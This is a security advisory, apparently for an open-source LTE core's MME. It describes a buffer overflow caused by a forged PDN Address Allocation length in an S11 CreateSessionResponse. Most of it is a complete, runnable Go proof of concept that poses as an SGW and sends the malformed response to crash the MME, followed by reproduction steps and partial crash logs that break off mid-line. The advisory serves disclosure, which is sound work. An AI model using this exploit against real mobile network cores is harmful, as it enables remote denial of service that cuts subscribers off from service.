| Description | ### Description
The MME can be crashed by a malicious CreateSessionResponse (S11) from an attacker-controlled SGW (or any entity able to spoof SGW responses) where the PDN Address Allocation (PAA) IE has its Length field forged to an oversized value (e.g., paa-len=200).
When the MME processes the response, it copies the PAA IE payload using the attacker-controlled length without proper bounds validation, resulting in memory corruption and a segmentation fault (SIGSEGV). This leads to a remote denial of service (DoS).
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
package main
import (
"flag"
"fmt"
"log"
"net"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
"github.com/wmnsk/go-gtp/gtpv2/message"
)
var (
mmeIP = flag.String("mme", "", "MME IP address (S11 interface)")
mmePort = flag.Int("mme-port", 2123, "MME S11 GTP-C port")
sgwIP = flag.String("sgw", "10.44.44.4", "SGW IP address (local)")
sgwPort = flag.Int("sgw-port", 2123, "SGW S11 GTP-C port (local)")
pgwIP = flag.String("pgw", "10.44.44.4", "PGW IP address (for S5C F-TEID)")
overSizeLen = flag.Int("paa-len", 200, "Oversized PAA length (normal max is 21 bytes)")
sgwTEID = flag.Uint("sgw-teid", 0x22222222, "SGW S11 TEID for response")
pgwTEID = flag.Uint("pgw-teid", 0xABCDEF00, "PGW S5C TEID for response")
sgwS1uTEID = flag.Uint("sgw-s1u-teid", 0x33333333, "SGW S1-U TEID for bearer context")
pgwS5uTEID = flag.Uint("pgw-s5u-teid", 0x44444444, "PGW S5-U TEID for bearer context")
)
func main() {
flag.Parse()
if *mmeIP == "" {
log.Fatal("Error: -mme parameter is required (MME S11 IP address)")
}
log.Printf("[*] Vuln-PA1-09 PoC: Buffer Overflow in PDN Address Allocation (MME S11)")
log.Printf("[*] Target: MME at %s:%d", *mmeIP, *mmePort)
log.Printf("[*] Mock SGW: %s:%d", *sgwIP, *sgwPort)
log.Printf("[*] Oversized PAA length: %d bytes (normal max: 21 bytes)", *overSizeLen)
log.Println("[*] Trigger an attach/TAU so MME sends CreateSessionRequest to SGW")
runSGWMock()
}
func runSGWMock() {
addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *sgwIP, *sgwPort))
if err != nil {
log.Fatalf("[SGW] Failed to resolve address: %v", err)
}
conn, err := net.ListenUDP("udp", addr)
if err != nil {
log.Fatalf("[SGW] Failed to listen: %v", err)
}
defer conn.Close()
log.Printf("[SGW] Mock server listening on %s:%d", *sgwIP, *sgwPort)
log.Println("[SGW] Waiting for CreateSessionRequest from MME...")
buf := make([]byte, 4096)
for {
conn.SetReadDeadline(time.Now().Add(120 * time.Second))
n, remoteAddr, err := conn.ReadFromUDP(buf)
if err != nil {
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
log.Println("[SGW] Timeout waiting for messages")
continue
}
log.Printf("[SGW] Read error: %v", err)
continue
}
if n < 12 {
continue
}
msgType := buf[1]
if msgType != 32 { // CreateSessionRequest
continue
}
log.Printf("[SGW] Received CreateSessionRequest from MME (%d bytes)", n)
msg, err := message.Parse(buf[:n])
if err != nil {
log.Printf("[SGW] Failed to parse message: %v", err)
continue
}
csReq, ok := msg.(*message.CreateSessionRequest)
if !ok {
log.Println("[SGW] Message is not CreateSessionRequest")
continue
}
seqNum := csReq.Sequence()
mmeS11TEID := extractMMETEID(csReq)
if mmeS11TEID == 0 {
log.Println("[SGW] Warning: Could not extract MME S11 TEID, using 0")
}
log.Println("[*] Crafting malicious CreateSessionResponse...")
log.Printf(" TEID: 0x%08x", mmeS11TEID)
log.Printf(" Sequence: 0x%06x", seqNum)
csResp := buildMaliciousCreateSessionResponse(mmeS11TEID, seqNum)
respBuf, err := csResp.Marshal()
if err != nil {
log.Printf("[SGW] Failed to marshal response: %v", err)
continue
}
log.Println("[*] Vulnerability Trigger:")
log.Println(" 1. MME receives CreateSessionResponse on S11 interface")
log.Println(" 2. mme_s11_handle_create_session_response() checks PAA presence")
log.Println(" 3. Executes: memcpy(&sess->paa, rsp->pdn_address_allocation.data, len)")
log.Printf(" 4. No bounds check: len=%d > sizeof(sess->paa)=~21 bytes", *overSizeLen)
log.Println(" 5. Buffer overflow corrupts adjacent memory")
log.Println(" 6. Process crashes or exhibits undefined behavior")
log.Printf("[*] Sending malicious CreateSessionResponse (%d bytes)...", len(respBuf))
respBuf = modifyPAALength(respBuf, *overSizeLen)
_, err = conn.WriteToUDP(respBuf, remoteAddr)
if err != nil {
log.Printf("[SGW] Failed to send response: %v", err)
} else {
log.Printf("[+] Malicious CreateSessionResponse sent successfully")
log.Println("[*] Expected behavior:")
log.Println(" - Buffer overflow in sess->paa structure")
log.Println(" - Memory corruption in adjacent fields")
log.Println(" - Process crash or memory error")
log.Println(" - Location: src/mme/mme-s11-handler.c:476-477")
}
log.Println("\n[*] PoC execution completed")
log.Println("[*] Verify MME logs for crash or memory corruption")
return
}
}
func extractMMETEID(csReq *message.CreateSessionRequest) uint32 {
if csReq == nil {
return 0
}
if fteid := csReq.SenderFTEIDC; fteid != nil {
teid, err := fteid.TEID()
if err == nil {
return teid
}
}
return 0
}
func buildMaliciousCreateSessionResponse(teid, seqNum uint32) *message.CreateSessionResponse {
return message.NewCreateSessionResponse(
teid, seqNum,
ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11S4SGWGTPC, uint32(*sgwTEID), *sgwIP, ""),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, uint32(*pgwTEID), *pgwIP, "").WithInstance(1),
ie.NewPDNAddressAllocation("10.45.0.2"),
ie.NewBearerContext(
ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil),
ie.NewEPSBearerID(5),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS1USGWGTPU, uint32(*sgwS1uTEID), *sgwIP, ""),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPU, uint32(*pgwS5uTEID), *pgwIP, "").WithInstance(1),
),
)
}
func modifyPAALength(buf []byte, newLen int) []byte {
// GTPv2-C message structure:
// - Header is 8 bytes without TEID, 12 bytes with TEID (T flag set)
// - IEs follow after the header
//
// Each IE structure:
// 0: Type (1 byte)
// 1-2: Length (2 bytes, network order)
// 3: Instance (1 byte) if Grouped IE, otherwise part of value
// 4+: Value
if len(buf) < 8 {
log.Println("[!] Warning: GTPv2-C header too short")
return buf
}
headerLen := 8
if buf[0]&0x08 != 0 { // T flag: TEID present
headerLen = 12
}
if len(buf) < headerLen {
log.Printf("[!] Warning: buffer shorter than header length (%d)", headerLen)
return buf
}
msgLen := int(buf[2])<<8 | int(buf[3])
payloadEnd := 4 + msgLen
if payloadEnd > len(buf) {
payloadEnd = len(buf)
}
if payloadEnd < headerLen {
log.Printf("[!] Warning: invalid payload end (%d) < header length (%d)", payloadEnd, headerLen)
return buf
}
// PDN Address Allocation IE type = 79 (0x4F)
paaType := byte(79)
// Find PAA IE in the buffer
offset := headerLen
for offset < payloadEnd-4 {
ieType := buf[offset]
ieLen := int(buf[offset+1])<<8 | int(buf[offset+2])
if offset+4+ieLen > payloadEnd {
log.Printf("[!] Warning: IE length overruns payload (offset=%d len=%d end=%d)", offset, ieLen, payloadEnd)
break
}
if ieType == paaType {
log.Printf("[*] Found PAA IE at offset %d, original length: %d", offset, ieLen)
// Calculate required buffer size
oldIESize := 4 + ieLen // Type(1) + Length(2) + Instance(1) + Value
newIESize := 4 + newLen
sizeDiff := newIESize - oldIESize
// Create new buffer with adjusted size
newBuf := make([]byte, len(buf)+sizeDiff)
// Copy everything before PAA IE
copy(newBuf[:offset], buf[:offset])
// Write PAA IE header with new length
newBuf[offset] = paaType
newBuf[offset+1] = byte((newLen >> 8) & 0xFF)
newBuf[offset+2] = byte(newLen & 0xFF)
newBuf[offset+3] = buf[offset+3] // Instance
// Copy original PAA value
copy(newBuf[offset+4:offset+4+ieLen], buf[offset+4:offset+4+ieLen])
// Pad with additional data (pattern 0x41 = 'A')
for i := ieLen; i < newLen; i++ {
newBuf[offset+4+i] = 0x41
}
// Copy rest of the message
copy(newBuf[offset+newIESize:], buf[offset+oldIESize:])
// Update GTPv2-C message length field (bytes 2-3)
oldMsgLen := int(buf[2])<<8 | int(buf[3])
newMsgLen := oldMsgLen + sizeDiff
newBuf[2] = byte((newMsgLen >> 8) & 0xFF)
newBuf[3] = byte(newMsgLen & 0xFF)
log.Printf("[*] Modified PAA IE length: %d -> %d bytes", ieLen, newLen)
log.Printf("[*] Message length adjusted: %d -> %d bytes", len(buf), len(newBuf))
return newBuf
}
// Move to next IE
offset += 4 + ieLen
}
log.Println("[!] Warning: PAA IE not found in message, returning original buffer")
return buf
}
```
3. Download required libraries: `go mod tidy`
4. Run the program with the SGW-C address: `go run main.go -mme 10.44.44.5 -sgw 10.44.44.2`
5. Run srsenb and srsue
### Logs
```shell
01/13 08:25:13.560: [mme] DEBUG: [001010123456780] Attach accept (../src/mme/nas-path.c:139)
01/13 08:25:13.560: [esm] DEBUG: Activate default bearer context request (../src/mme/esm-build.c:128)
01/13 08:25:13.560: [esm] DEBUG: IMSI[001010123456780] PTI[1] EBI[5] (../src/mme/esm-build.c:129)
01/13 08:25:13.560: [esm] DEBUG: APN[internet] (../src/mme/esm-bui |
|---|